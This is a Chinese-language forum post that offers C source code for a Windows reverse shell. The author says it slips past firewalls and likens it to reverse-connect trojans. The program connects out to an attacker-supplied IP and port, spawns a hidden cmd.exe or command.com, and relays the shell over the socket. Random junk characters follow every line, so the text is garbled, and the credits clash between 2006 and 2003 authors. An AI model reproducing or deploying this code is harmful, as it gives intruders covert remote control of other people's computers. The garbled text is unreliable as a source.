Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 QAKA3{-(  
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/* ============================== ""u>5f  
Rebound port in Windows NT guWX$C-+1  
By wind,2006/7 D;WQNlTU  
===============================*/ 56^#x  
#include b;Uqyc  
#include %LeZd}v  
zkmfu~_)  
#pragma comment(lib,"wsock32.lib") CWS&f g%o{  
/;a b"b  
void OutputShell(); )MU)'1jc,  
SOCKET sClient; },(Ln
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :x/L.Bz  
$g!~T!p=  
void main(int argc,char **argv) k1Thjt  
{ "qvJ-Y  
WSADATA stWsaData;  /DN!"  
int nRet; /$?7
L(  
SOCKADDR_IN stSaiClient,stSaiServer; f<v:
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,T\)%q  
if(argc != 3) l!YjDm{E  
{ c6Z\ecH9  
printf("Useage:\n\rRebound DestIP DestPort\n"); |}^BF%8V:  
return; >pq= .)X}  
} _vgFcE~E@  
}qn@8}  
WSAStartup(MAKEWORD(2,2),&stWsaData); .cA'6J"Bm\  
Ed=]RR4R  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S,%BhQ[  
sJq^>"|J  
stSaiClient.sin_family = AF_INET; l&4+v.zr  
stSaiClient.sin_port = htons(0); -cW'g  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); l&LrcM  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) $MB/j6#j  
{ UOAL7  
printf("Bind Socket Failed!\n"); H|i39XV  
return; P]b *hC  
} I!OV+utF  
#Kd^t=k  
stSaiServer.sin_family = AF_INET; xU_Dg56z'&  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); "o.g}Pv  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); i`)h~V
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2N$yn  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,Kw]V %xOb  
{ 38Bh9>c3  
printf("Connect Error!"); )r^)e4UI  
return; "UDV4<|^k  
} X[Q:c4'  
OutputShell(); fXJbC+  
} 2IGoAt>V  
++)3*+N+  
void OutputShell()  [ijK~  
{ )lsR8Hi8  
char szBuff[1024]; +^\TG>le  
SECURITY_ATTRIBUTES stSecurityAttributes; 5o&noRIIr  
OSVERSIONINFO stOsversionInfo; &>]c"?C*  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; [^4)3cj7}  
STARTUPINFO stStartupInfo; eVy>  
char *szShell; ,|r%tNh<8$  
PROCESS_INFORMATION stProcessInformation; vm y?8E6+  
unsigned long lBytesRead; 1!4-M$-  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 1ae,s{|  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5!pof\/a  
stSecurityAttributes.lpSecurityDescriptor = 0; l#;DO9  
stSecurityAttributes.bInheritHandle = TRUE; }KZt7)  
SL O~  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); BlrZ<\-/  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); wG\ +C'&~  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 1'G&PX  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nGqD{!i<  
stStartupInfo.wShowWindow = SW_HIDE; zc
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stStartupInfo.hStdInput = hReadPipe;
{#,eD  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; sD!)=t_  
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GetVersionEx(&stOsversionInfo); v3ky;
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switch(stOsversionInfo.dwPlatformId) N#Y|MfLc  
{ VoTnm   
case 1: OrJuE[R.  
szShell = "command.com"; &# ?2zbZ  
break; (5Z*m<]c  
default: 'fGB#uBt  
szShell = "cmd.exe"; 8NJxtT~0c~  
break; y|7sh  
} "^UJC-  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); #BZ2
%\  
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send(sClient,szMsg,77,0); l 7XeZ} S  
while(1) Us.")GiHE  
{ \@}G'7{  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !G8=S'~~  
if(lBytesRead) UCz\SZ{za  
{ 1[g -f,  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); IOjp'6Yr  
send(sClient,szBuff,lBytesRead,0); Wz%b,!  
} %tOGs80_{  
else '<JNS8h  
{ =sYUzYm  
lBytesRead=recv(sClient,szBuff,1024,0); (T9Q6\sa  
if(lBytesRead<=0) break; Vx<`6uv
 
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); %wD
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} 0'3f^Ajf  
} 5p}ri,Y<  
+}.~"  
return; NR6wNz&81  
}